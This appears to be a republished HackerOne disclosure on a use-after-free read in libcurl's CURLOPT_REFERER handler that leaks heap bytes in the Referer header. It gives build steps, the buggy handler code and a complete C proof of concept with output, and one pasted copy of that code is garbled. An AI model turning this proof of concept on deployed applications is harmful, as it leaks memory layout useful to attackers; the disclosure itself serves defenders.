Skip to content
Memory corruption Disclosed report Advanced

Use-after-free read of the freed referer buffer in `curl_easy_setopt(CURLOPT_REFERER)` — stale heap bytes transmitted in an outbound `Referer:` heade

The CURLOPT_REFERER handler in libcurl freed the existing referer buffer before copying the new value, so passing back the pointer returned by CURLINFO_REFERER made the library read freed heap memory. The stale bytes were then sent in the outgoing Referer header to the next server.

nextarjunaxfer Follow

Originally disclosed on HackerOne

  • Disclosed after 8 days

(CWE-416 → CWE-908/CWE-200)

Aset yang terdampak (Affected Asset)

  • Component: libcurl — lib/setopt.c, CURLOPT_REFERER handler (curl_easy_setopt API)
  • Related code paths: lib/bufref.c (Curl_bufref_free), CURLINFO_REFERER getter (lib/getinfo.c:145), referer emission (lib/http.c:2941-2945), pretransfer sync (lib/transfer.c:511-512)
  • Affected versions: libcurl from ff300ac4aa546748b27415e7fd2527315435ef8e (2026-06-01, "setopt: defref the old referer when setting a new") up to, but not including, d02476899f22f851729b6c95290bc73a22a3383d (2026-08-27, "setopt: allow setting a referer from CURLINFO_REFERER", verified by test 2397).
  • Release mapping (verified 2026-09-27 via GitHub compare API): tag curl-8_21_0 (2026-06-24) contains the vulnerable commit and not the fix → curl 8.21.0 is affected. Tag curl-8_22_0 (2026-09-02) contains the fix → not affected. No other tagged release falls inside the window. Master after d0247689 and any build carrying the backport are not affected.

Weakness

CWE-416 (Use After Free), with consequence CWE-908 (Use of Uninitialized Resource) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): stale heap bytes copied into an outbound HTTP header.

Severity

  • Original triage outcome (HackerOne #3971462, filed 2026-09-15): Informative. The trigger is an application-side pointer round-trip (getinfo(CURLINFO_REFERER) → setopt(CURLOPT_REFERER, same pointer)); the curl CLI cannot trigger it (verified via curl --libcurl). This document accepts that outcome and is the formatted verification record of the finding — not a request to reopen.
  • Independent assessment: Low. The memory error itself is real and deterministic (reproduced under ASan and on the wire in plain builds, on two architectures), but exploitation requires the application-side composition above. A tagged release is inside the window (curl 8.21.0), which is the actionable part for maintainers.

Description

Commit ff***ac4aa introduced a free-before-read ordering in the CURLOPT_REFERER handler:

C
/* ff300ac4aa (vulnerable): free BEFORE read */
case CURLOPT_REFERER:
    Curl_bufref_free(&data->state.referer);              /* frees */
    result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr);  /* strlen(ptr) → UAF */
    break;

CURLINFO_REFERER returns Curl_bufref_ptr(&data->state.referer) directly (getinfo.c:145). When the application passes that pointer back to setopt on the same handle, ptr aliases the buffer just freed, and Curl_setstropt reads it (strlen, setopt.c:90). The copied bytes then reach the wire: pretransfer syncs STRING_SET_REFERER into state.referer (transfer.c:511-512) and the request builder emits Referer: %s from it (http.c:2941-2945).

Measured mechanism of the leak: under glibc tcache, the freed chunk holds allocator metadata written by free() itself. A MALLOC_PERTURB_ marker experiment (x86-64, glibc 2.35: scrub bytes 0xAA/0x55) showed the leaked bytes do not repaint to the marker — proving they are post-free allocator writes (tcache fd/key, safe-linking-mangled on glibc ≥ 2.32), never stale payload and never valid string data.

Fixed upstream by d0247689 with store-then-free ordering and the explicit comment "free the old after the storing the new in case the input is actually pointing back to this", plus regression test 2397 (301 redirect then a second request; asserts the round-tripped Referer arrives intact). The original report was filed 19 days after the fix was public; its Informative outcome is consistent with that.

Summary:

A use-after-free read exists in the CURLOPT_REFERER handler of libcurl between ff300ac4aa (2026-06-01) and d0247689 (2026-08-27, exclusive): the handler frees the referer buffer before copying the new value, and CURLINFO_REFERER hands out a pointer into that buffer, so round-tripping the getter's pointer back into the setter on the same handle makes Curl_setstropt read freed memory. In plain builds the read returns post-free tcache metadata, which libcurl then transmits in the outgoing Referer: header — measured on the wire on two architectures (aarch64 glibc 2.43: 5 deterministic bytes; x86-64 glibc 2.35: 6 varying bytes), no crash, exit 0. Exactly one tagged release sits inside the window (curl 8.21.0). Upstream fixed it on 2026-08-27 with d0247689 + test 2397. HackerOne #3971462 was closed Informative; this is the verification record of that finding.

Steps To Reproduce:

  1. Check out libcurl at ff***ac4aa and build a plain (non-sanitizer) shared library: cmake -S src -B build-plain -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF -DBUILD_CURL_EXE=OFF -DCURL_USE_LIBPSL=OFF -DCURL_USE_OPENSSL=OFF -DCMAKE_C_FLAGS="-g -O1" && cmake --build build-plain (repeat with -fsanitize=address for the sanitizer leg).

  2. Start the witness server (poc/server.py): GET /r returns 301 to /f; GET /f prints the exact Referer: bytes it receives.

  3. In the client (poc/poc.c), on one easy handle: perform GET /r with CURLOPT_FOLLOWLOCATION | CURLOPT_AUTOREFERER (fills state.referer on the redirect), then round-trip the getter pointer into the setter:

    C
    char *ref = NULL;
    curl_easy_getinfo(curl, CURLINFO_REFERER, &ref);   /* pointer into state.referer */
    curl_easy_setopt(curl, CURLOPT_REFERER, ref);      /* frees it, then strlen reads it */
    
  4. Perform a second transfer to /f — the witness prints what arrived on the wire.

  5. Control path (fresh string, no aliasing) is clean on the same build; the same two-path harness against master (contains d0247689 + test 2397) is clean on both paths, exit 0. A shaped variant adds a same-size malloc(24)/free before setopt to document heap-state dependence.

Proof of Concept:

Harness: poc/poc.c (dual-path: control | aliased | shaped) + poc/server.py / poc/server_hex.py (redirect chain + wire witness, prints exact received bytes). Builds and runs verified on two environments:

Build / path aarch64, Kali/Termux proot, glibc 2.43 x86-64, Ubuntu 22.04, glibc 2.35
ff300ac4aa + ASan, control n/a (ASan cannot run under proot: shadow-memory mapping fails) clean — referer intact
ff300ac4aa + ASan, aliased n/a deterministic heap-use-after-free — READ strlen in Curl_setstropt (setopt.c:90) via curl_easy_setopt ← setopt_cptr (setopt.c:2028); FREED by Curl_bufref_free (bufref.c:61) via bufref dtor
ff300ac4aa plain, control clean — witness receives the exact set referer clean
ff300ac4aa plain, aliased exit 0, no crash — witness receives 5 non-string heap bytes 06 ** 02 ** 30 in Referer: exit 0 — witness receives 6 varying non-string heap bytes
ff300ac4aa plain, shaped same 5 bytes (10/10) different bytes per run — content is heap-state dependent
master HEAD (d0247689 + test 2397) — clean on both paths, exit 0

Key measured facts:

  • On-wire disclosure: stale bytes are actually transmitted, not merely readable — witness logs in evidence/poc_wire_plain_output.txt.
  • Determinism is a property of process layout, not of the mechanism: under proot (fixed mappings — verified: 3/3 separate process launches produce identical heap and text addresses, evidence/layout_determinism.txt) the leaked bytes are identical 10/10 runs in both arms (evidence/leak_determinism_hex.txt, evidence/leak_shaped_10runs.txt); under active ASLR (x86-64) every run differs.
  • Metadata, not payload: MALLOC_PERTURB_=85/170 does not repaint the leaked bytes → they are written after the free-scrub, i.e. by free() itself (tcache fd/key, safe-linking-mangled). By construction never valid string data.
  • No other affected handler: a sweep of every Curl_bufref_free call site in setopt.c at the vulnerable revision found exactly one free→read violation (referer); CURLOPT_CURLU is free→store (safe). CURLINFO_EFFECTIVE_URL (getinfo.c:90) shares the aliasing hazard but no curl-internal path reads the stale pointer — no UAF inside curl from that getter.

Recommended Fix:

  • Upstream/libcurl: already fixed by d0247689 (2026-08-27) — store-then-free ordering, regression coverage in test 2397 / lib2397.c. Packagers of curl 8.21.0 (the one affected tagged release) should backport d0247689 (small, carries the test) or rebuild from 8.22.0.
  • Application-level mitigation: strdup the CURLINFO_REFERER value before passing it to CURLOPT_REFERER; avoid reusing getinfo pointers as setopt inputs generally.
  • Pattern audit: other setopt handlers built on Curl_bufref_free + Curl_setstropt deserve the same ordering check. This audit was performed at the vulnerable revision: 2 call sites, 1 violation (referer), CURLOPT_CURLU safe.

Supporting Material/References:

  • evidence/poc_wire_plain_output.txt — witness log, stale bytes received on the wire (aarch64 plain build)
  • evidence/leak_determinism_10runs.txt + leak_determinism_hex.txt — 10/10 identical leaks 06 66 02 03 30 (aliased, aarch64)
  • evidence/leak_shaped_10runs.txt — heap-shaped arm, same bytes
  • evidence/layout_determinism.txt — 3/3 identical process layouts under proot
  • evidence/poc_vuln_commit_output.txt — ASan transcript at ff300ac4aa (x86-64)
  • evidence/poc_fixed_head_output.txt — clean transcript at master HEAD
  • Commits: ff300ac4aa546748b27415e7fd2527315435ef8e (introduces, 2026-06-01), d02476899f22f851729b6c95290bc73a22a3383d (fixes, 2026-08-27); fix references #22709 (closed as PR without merge — the fix commit carries "Closes #22709")
  • Regression test: tests/data/test2397 + tests/libtest/lib2397.c (301 redirect, round-tripped Referer asserted intact)
  • Related prior report: HackerOne #3774279 (referer dangling-read, same API family)
  • Original submission: HackerOne #3971462 (closed Informative, 2026-09-15)

PoC

┌──(root㉿localhost)-[/tmp/curlpoc] └─# cat > /tmp/curlpoc/poc_allinone.c <<'EOF'

/* poc_allinone.c - CURLOPT_REFERER use-after-free PoC (libcurl ff300ac4aa)

  • All-in-one: embedded HTTP witness (thread) + dual-arm libcurl client. NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else > * One file, one build, one run - prints a LEAK/CLEAN verdict itself. */ #define _GNU_SOURCE h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }

static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); print> #include <ctype.h> sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);

arm("control", 0); arm("aliased", 1);

pthread_join(t, NULL); curl_global_cleanup();

printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3> #include <pthread.h>

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <curl/curl.h>

#define NREQ 6 static volatile int port = 0; static struct { char ref[512]; int len; } w[NREQ];

static void *witness(void *arg) { (void)arg; int ls = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); struct sockaddr_in a = {0}, c; socklen_t cl = sizeof c, al = sizeof a; a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(0x7f000001); a.sin_port = 0; if(bind(ls, (struct sockaddr *)&a, sizeof a) < 0) { perror("bind"); return NULL; } listen(ls, 8); getsockname(ls, (struct sockaddr *)&a, &al); port = ntohs(a.sin_port);

for(int i = 0; i < NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else dprintf(fd, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); close(fd); } close(ls); return NULL; }

static size_t sink(char *p, size_t s, size_t n, void *u) { (void)p; (void)u; return s * n; }

static void arm(const char *name, int aliased) { CURL h = curl_easy_init(); char url[256]; snprintf(url, sizeof url, "http://127.0.0.1:%d/r", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(h, CURLOPT_AUTOREFERER, 1L); / fills state.referer on redirect */> curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink); curl_easy_setopt(h, CURLOPT_NOSIGNAL, 1L); CURLcode rc = curl_easy_perform(h);

char *ref = NULL; curl_easy_getinfo(h, CURLINFO_REFERER, &ref); printf("\n=== ARM %-8s perform=%d referer=%p '%s'\n", name, rc, (void )ref, ref ? ref : "(null)"); if(aliased) { printf("=== ARM %-8s setopt(CURLOPT_REFERER, getter ptr) <-- aliasing\n", name);> curl_easy_setopt(h, CURLOPT_REFERER, ref); / handler frees, then strlen reads */ } else { printf("=== ARM %-8s setopt(CURLOPT_REFERER, fresh string)\n", name); curl_easy_setopt(h, CURLOPT_REFERER, "http://control.example/fresh"); } snprintf(url, sizeof url, "http://127.0.0.1:%d/f", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }

static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); printf("" hex="); for(int j = 0; j < w[i].len; j++) printf("%02x ", (unsigned char)w[i].ref[j]); printf("\n"); }

int main(void) { pthread_t t; pthread_create(&t, NULL, witness, NULL); while(!port) sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);

arm("control", 0); arm("aliased", 1);

pthread_join(t, NULL); curl_global_cleanup();

printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3, "alias /r"); dump(4, "alias auto"); dump(5, "alias FINAL");

int ctrl_ok = !strcmp(w[2].ref, "http://control.example/fresh"); int binary = 0; for(int j = 0; j < w[5].len; j++) if(!isprint((unsigned char)w[5].ref[j])) binary = 1; int differs = strcmp(w[5].ref, w[4].ref) != 0;

printf("\n=== VERDICT ===\n"); printf("control FINAL intact ............ %s\n", ctrl_ok ? "YES" : "NO"); printf("aliased FINAL non-ASCII heap bytes: %s\n", binary ? "YES" : "no"); printf("aliased FINAL != legit referer .. %s\n", differs ? "YES" : "no"); if(ctrl_ok && binary && differs) printf("\nRESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, " "not a harness artifact: identical client/server, only the setopt input " "differs between arms)\n"); else if(ctrl_ok && !binary) printf("\nRESULT: no non-string leak this run (allocator-state dependent) - rerun, " "or use the ASan build for the deterministic memory-level proof\n"); else printf("\nRESULT: unexpected - inspect output\n"); return 0; } EOF

┌──(root㉿localhost)-[/tmp/curlpoc] └─# gcc poc_allinone.c -Isrc/include -Ibuild-plain/include -Lbuild-plain/lib -lcurl \

-Wl,-rpath,$PWD/build-plain/lib -lpthread -g -O1 -o poc_allinone

┌──(root㉿localhost)-[/tmp/curlpoc] └─# LD_LIBRARY_PATH=build-plain/lib ./poc_allinone \

| tee /root/codebase/curl_referer_uaf/evidence/poc_allinone_output.txt witness listening on 127.0.0.1:44239

=== ARM control perform=0 referer=0x3000026670 'http://127.0.0.1:44239/r' === ARM control setopt(CURLOPT_REFERER, fresh string) === ARM control final perform=0

=== ARM aliased perform=0 referer=0x3000026560 'http://127.0.0.1:44239/r' === ARM aliased setopt(CURLOPT_REFERER, getter ptr) <-- aliasing === ARM aliased final perform=0

=== WITNESS SUMMARY === [0] ctrl /r len=0 raw="" hex= [1] ctrl auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [2] ctrl FINAL len=28 raw="http://control.example/fresh" hex=68 74 74 70 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 65 78 61 6d 70 6c 65 2f 66 72 65 73 68 [3] alias /r len=0 raw="" hex= [4] alias auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [5] alias FINAL len=5 raw=".h..0" hex=86 68 02 03 30

=== VERDICT === control FINAL intact ............ YES aliased FINAL non-ASCII heap bytes: YES aliased FINAL != legit referer .. YES

RESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, not a harness artifact: identical client/server, only the setopt input differs between arms)

┌──(root㉿localhost)-[/tmp/curlpoc] └─# ┌──(root㉿localhost)-[/tmp/curlpoc] └─#

Impact

Customer Impact:

An application that round-trips the CURLINFO_REFERER pointer into CURLOPT_REFERER causes libcurl to copy stale heap bytes into the outgoing Referer: header, disclosing them to every server the subsequent request reaches — measured live, no crash. The bytes are allocator metadata (tcache fd/key, ASLR material); if an application allocates between the getinfo and setopt calls, the freed chunk can be reclaimed with attacker-influenced content, upgrading the leak to content disclosure (variant not exercised). Exposure is limited to libcurl builds from the affected window — notably curl 8.21.0 — and to applications performing this specific round-trip; the curl CLI cannot trigger it.

Business Impact:

Minimal as an open vulnerability: the bug was fixed upstream 19 days before the original report was filed, and exactly one tagged release (8.21.0, 2026-06-24) ships inside the window, so remediation is a single backport decision for affected maintainers. The durable value of this document is the verified commit-and-release window plus the mechanism-grade evidence (two-architecture wire reproduction, MALLOC_PERTURB_ attribution, empirical layout-determinism) and the closed pattern audit — suitable for a distro security note referencing d0247689, or as an end-to-end verification case study.

Attachments

Screenshot_20260927_165002_Termux.jpg
Screenshot_20260927_165002_Termux.jpg From the original on HackerOne
Screenshot_20260927_165009_Termux.jpg
Screenshot_20260927_165009_Termux.jpg

The original report as published on HackerOne, by nextarjunaxfer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

libcurl exposes the CURLOPT_REFERER option through curl_easy_setopt, letting an application set the value that libcurl sends in the outbound Referer: header. Internally the referer is held in a Curl_bufref structure (data->state.referer), and the getter CURLINFO_REFERER returns a pointer straight into that buffer via Curl_bufref_ptr(&data->state.referer) (lib/getinfo.c:145).

The affected code paths named in the report are:

  • lib/setopt.c, the CURLOPT_REFERER handler of curl_easy_setopt
  • lib/bufref.c (Curl_bufref_free)
  • the CURLINFO_REFERER getter (lib/getinfo.c:145)
  • referer emission (lib/http.c:2941-2945)
  • pretransfer sync (lib/transfer.c:511-512)

The weakness is CWE-416 (Use After Free), with the consequence classified as CWE-908 (Use of Uninitialized Resource) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): stale heap bytes copied into an outbound HTTP header.

The affected window runs from commit [redacted] (2026-06-01, "setopt: defref the old referer when setting a new") up to, but not including, [redacted] (2026-08-27, "setopt: allow setting a referer from CURLINFO_REFERER", verified by test 2397).

Release mapping, verified on 2026-09-27 through the GitHub compare API: tag curl-8_21_0 (2026-06-24) contains the vulnerable commit and not the fix, so curl 8.21.0 is affected. Tag curl-8_22_0 (2026-09-02) contains the fix and is not affected. No other tagged release falls inside the window. Master after d0247689, and any build carrying the backport, are not affected.

Setup

The trigger is an application-side pointer round-trip: getinfo(CURLINFO_REFERER) followed by setopt(CURLOPT_REFERER, same pointer). The curl CLI cannot trigger it, which the researcher verified with curl --libcurl. The original HackerOne submission (#3971462, filed 2026-09-15) was triaged as Informative, and the write-up accepts that outcome; it is presented as the formatted verification record of the finding, not a request to reopen. The researcher's own independent assessment is Low: the memory error is real and deterministic, reproduced under ASan and on the wire in plain builds on two architectures, but exploitation requires the application-side composition above. The actionable part for maintainers is that a tagged release sits inside the window.

The proof of concept is a harness made of poc/poc.c (dual-path: control, aliased, shaped) plus poc/server.py / poc/server_hex.py, a redirect chain and wire witness that prints the exact received bytes. The all-in-one variant embeds the witness server in a thread and runs both arms in one process.

Builds and runs were verified on two environments:

Build / path aarch64, Kali/Termux proot, glibc 2.43 x86-64, Ubuntu 22.04, glibc 2.35
ff300ac4aa + ASan, control n/a (ASan cannot run under proot: shadow-memory mapping fails) clean, referer intact
ff300ac4aa + ASan, aliased n/a deterministic heap-use-after-free: READ strlen in Curl_setstropt (setopt.c:90) via curl_easy_setopt from setopt_cptr (setopt.c:2028); FREED by Curl_bufref_free (bufref.c:61) via bufref dtor
ff300ac4aa plain, control clean, witness receives the exact set referer clean
ff300ac4aa plain, aliased exit 0, no crash, witness receives 5 non-string heap bytes 06 ** 02 ** 30 in Referer: exit 0, witness receives 6 varying non-string heap bytes
ff300ac4aa plain, shaped same 5 bytes (10/10) different bytes per run, content is heap-state dependent
master HEAD (d0247689 + test 2397) not run clean on both paths, exit 0

Finding it

The vulnerable commit introduced a free-before-read ordering in the CURLOPT_REFERER handler:

C
/* ff300ac4aa (vulnerable): free BEFORE read */
case CURLOPT_REFERER:
    Curl_bufref_free(&data->state.referer);              /* frees */
    result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr);  /* strlen(ptr) → UAF */
    break;

Because CURLINFO_REFERER hands out a pointer directly into data->state.referer, passing that pointer back to setopt on the same handle makes ptr alias the buffer that was just freed, and Curl_setstropt reads it with strlen (setopt.c:90). The copied bytes then reach the wire: pretransfer syncs STRING_SET_REFERER into state.referer (transfer.c:511-512) and the request builder emits Referer: %s from it (http.c:2941-2945).

The measured mechanism of the leak: under glibc tcache, the freed chunk holds allocator metadata written by free() itself. A MALLOC_PERTURB_ marker experiment (x86-64, glibc 2.35, scrub bytes 0xAA/0x55) showed the leaked bytes do not repaint to the marker. That proves they are post-free allocator writes (tcache fd/key, safe-linking-mangled on glibc 2.32 and later), never stale payload and never valid string data.

Upstream fixed it in d0247689 with store-then-free ordering and the explicit comment "free the old after the storing the new in case the input is actually pointing back to this", plus regression test 2397 (301 redirect then a second request, asserting the round-tripped Referer arrives intact). The original report was filed 19 days after the fix was public, which is consistent with the Informative outcome.

Exploitation

Step 1: build the vulnerable library

Check out libcurl at ff300ac4aa and build a plain (non-sanitizer) shared library:

Bash
cmake -S src -B build-plain -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF \
  -DBUILD_CURL_EXE=OFF -DCURL_USE_LIBPSL=OFF -DCURL_USE_OPENSSL=OFF \
  -DCMAKE_C_FLAGS="-g -O1" && cmake --build build-plain

Repeat with -fsanitize=address for the sanitizer leg. The plain build is what demonstrates the on-wire leak; the ASan build gives the deterministic memory-level proof.

Step 2: start the witness server

The witness (poc/server.py) answers GET /r with a 301 to /f, and GET /f prints the exact Referer: bytes it receives. In the all-in-one PoC the witness is a thread inside the same binary: it binds to [redacted] on an ephemeral port, accepts six requests, parses the Referer: header out of each request, and answers /r with a redirect and everything else with a 200.

Step 3: fill the referer and round-trip the getter pointer into the setter

On one easy handle, perform GET /r with CURLOPT_FOLLOWLOCATION | CURLOPT_AUTOREFERER, which fills state.referer on the redirect, then round-trip the getter pointer into the setter:

C
char *ref = NULL;
curl_easy_getinfo(curl, CURLINFO_REFERER, &ref);   /* pointer into state.referer */
curl_easy_setopt(curl, CURLOPT_REFERER, ref);      /* frees it, then strlen reads it */

The control arm instead sets a fresh string with no aliasing:

C
curl_easy_setopt(h, CURLOPT_REFERER, "http://control.example/fresh");

Step 4: perform a second transfer

A second transfer to /f follows, and the witness prints what arrived on the wire. The control path (fresh string, no aliasing) is clean on the same build. The same two-path harness against master (which contains d0247689 and test 2397) is clean on both paths, exit 0. A shaped variant adds a same-size malloc(24)/free before setopt to document heap-state dependence.

Step 5: build and run the all-in-one PoC

The PoC source is written to /tmp/curlpoc/poc_allinone.c and compiled against the plain build:

Bash
gcc poc_allinone.c -Isrc/include -Ibuild-plain/include -Lbuild-plain/lib -lcurl \
  -Wl,-rpath,$PWD/build-plain/lib -lpthread -g -O1 -o poc_allinone
Bash
LD_LIBRARY_PATH=build-plain/lib ./poc_allinone \
  | tee /root/codebase/curl_referer_uaf/evidence/poc_allinone_output.txt

The run output:

Text
witness listening on [redacted]:44239

=== ARM control  perform=0 referer=0x3000026670 'http://[redacted]:44239/r'
=== ARM control  setopt(CURLOPT_REFERER, fresh string)
=== ARM control  final perform=0

=== ARM aliased  perform=0 referer=0x3000026560 'http://[redacted]:44239/r'
=== ARM aliased  setopt(CURLOPT_REFERER, getter ptr)   <-- aliasing
=== ARM aliased  final perform=0

=== WITNESS SUMMARY ===
[0] ctrl /r     len=0 raw=""  hex=
[1] ctrl auto   len=24 raw="http://[redacted]:44239/r"  hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72
[2] ctrl FINAL  len=28 raw="http://control.example/fresh"  hex=68 74 74 70 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 65 78 61 6d 70 6c 65 2f 66 72 65 73 68
[3] alias /r    len=0 raw=""  hex=
[4] alias auto  len=24 raw="http://[redacted]:44239/r"  hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72
[5] alias FINAL len=5 raw=".h..0"  hex=86 68 02 03 30

=== VERDICT ===
control FINAL intact ............ YES
aliased FINAL non-ASCII heap bytes: YES
aliased FINAL != legit referer .. YES

RESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, not a harness artifact: identical client/server, only the setopt input differs between arms)

Both arms complete with perform=0 and no crash. The control arm's final request carries the exact fresh referer. The aliased arm's final request carries five bytes, 86 68 02 03 30, which are not a valid string and differ from the legitimate referer the same handle had just produced. The verdict logic checks three things: the control final referer is intact, the aliased final referer contains non-ASCII bytes, and the aliased final referer differs from the legitimate one. All three hold, so the harness reports a leak.

What the evidence shows

  • On-wire disclosure: stale bytes are actually transmitted, not merely readable. The witness log is in evidence/poc_wire_plain_output.txt.
  • Determinism is a property of process layout, not of the mechanism. Under proot (fixed mappings, verified 3/3 separate process launches producing identical heap and text addresses, evidence/layout_determinism.txt) the leaked bytes are identical 10/10 runs in both arms (evidence/leak_determinism_hex.txt, evidence/leak_shaped_10runs.txt). Under active ASLR (x86-64) every run differs.
  • Metadata, not payload: MALLOC_PERTURB_=85/170 does not repaint the leaked bytes, so they are written after the free-scrub, by free() itself (tcache fd/key, safe-linking-mangled). By construction they are never valid string data.
  • No other affected handler: a sweep of every Curl_bufref_free call site in setopt.c at the vulnerable revision found exactly one free-then-read violation (referer). CURLOPT_CURLU is free-then-store and safe. CURLINFO_EFFECTIVE_URL (getinfo.c:90) shares the aliasing hazard, but no curl-internal path reads the stale pointer, so there is no UAF inside curl from that getter.
Screenshot_20260927_165002_Termux.jpg
Screenshot_20260927_165002_Termux.jpg From the original on HackerOne
Screenshot_20260927_165009_Termux.jpg
Screenshot_20260927_165009_Termux.jpg

Root cause

The handler frees the old referer buffer before copying the new value, and the getter hands out a pointer into that same buffer. When the application passes the getter's pointer back as the setter's input, the copy reads memory that has already been released. The read is a strlen in Curl_setstropt, so the length and the bytes both come from the freed chunk. The freed chunk under glibc tcache contains allocator metadata written by free() itself, which is why the leaked bytes are never the old referer and never a valid string.

The bug is an ordering mistake inside the handler, not a missing check on the input.

Impact

An application that round-trips the CURLINFO_REFERER pointer into CURLOPT_REFERER causes libcurl to copy stale heap bytes into the outgoing Referer: header, disclosing them to every server the subsequent request reaches. This was measured live, with no crash. The bytes are allocator metadata (tcache fd/key, ASLR material). If an application allocates between the getinfo and setopt calls, the freed chunk can be reclaimed with attacker-influenced content, which would upgrade the leak to content disclosure; that variant was not exercised. Exposure is limited to libcurl builds from the affected window, notably curl 8.21.0, and to applications performing this specific round-trip. The curl CLI cannot trigger it.

As an open vulnerability the business impact is minimal: the bug was fixed upstream 19 days before the original report was filed, and exactly one tagged release (8.21.0, 2026-06-24) ships inside the window, so remediation is a single backport decision for affected maintainers. The durable value of the record is the verified commit-and-release window plus the mechanism-grade evidence (two-architecture wire reproduction, MALLOC_PERTURB_ attribution, empirical layout determinism) and the closed pattern audit, which suits a distribution security note referencing d0247689 or an end-to-end verification case study.

Fix

Upstream already fixed this in d0247689 (2026-08-27) by switching to store-then-free ordering, with regression coverage in test 2397 / lib2397.c. Packagers of curl 8.21.0, the one affected tagged release, should backport d0247689 (small, carries the test) or rebuild from 8.22.0.

At the application level, strdup the CURLINFO_REFERER value before passing it to CURLOPT_REFERER, and avoid reusing getinfo pointers as setopt inputs generally.

For pattern auditing, other setopt handlers built on Curl_bufref_free plus Curl_setstropt deserve the same ordering check. The audit at the vulnerable revision covered 2 call sites and found 1 violation (referer); CURLOPT_CURLU was safe.

Supporting material referenced in the report:

  • evidence/poc_wire_plain_output.txt: witness log, stale bytes received on the wire (aarch64 plain build)
  • evidence/leak_determinism_10runs.txt and leak_determinism_hex.txt: 10/10 identical leaks 06 66 02 03 30 (aliased, aarch64)
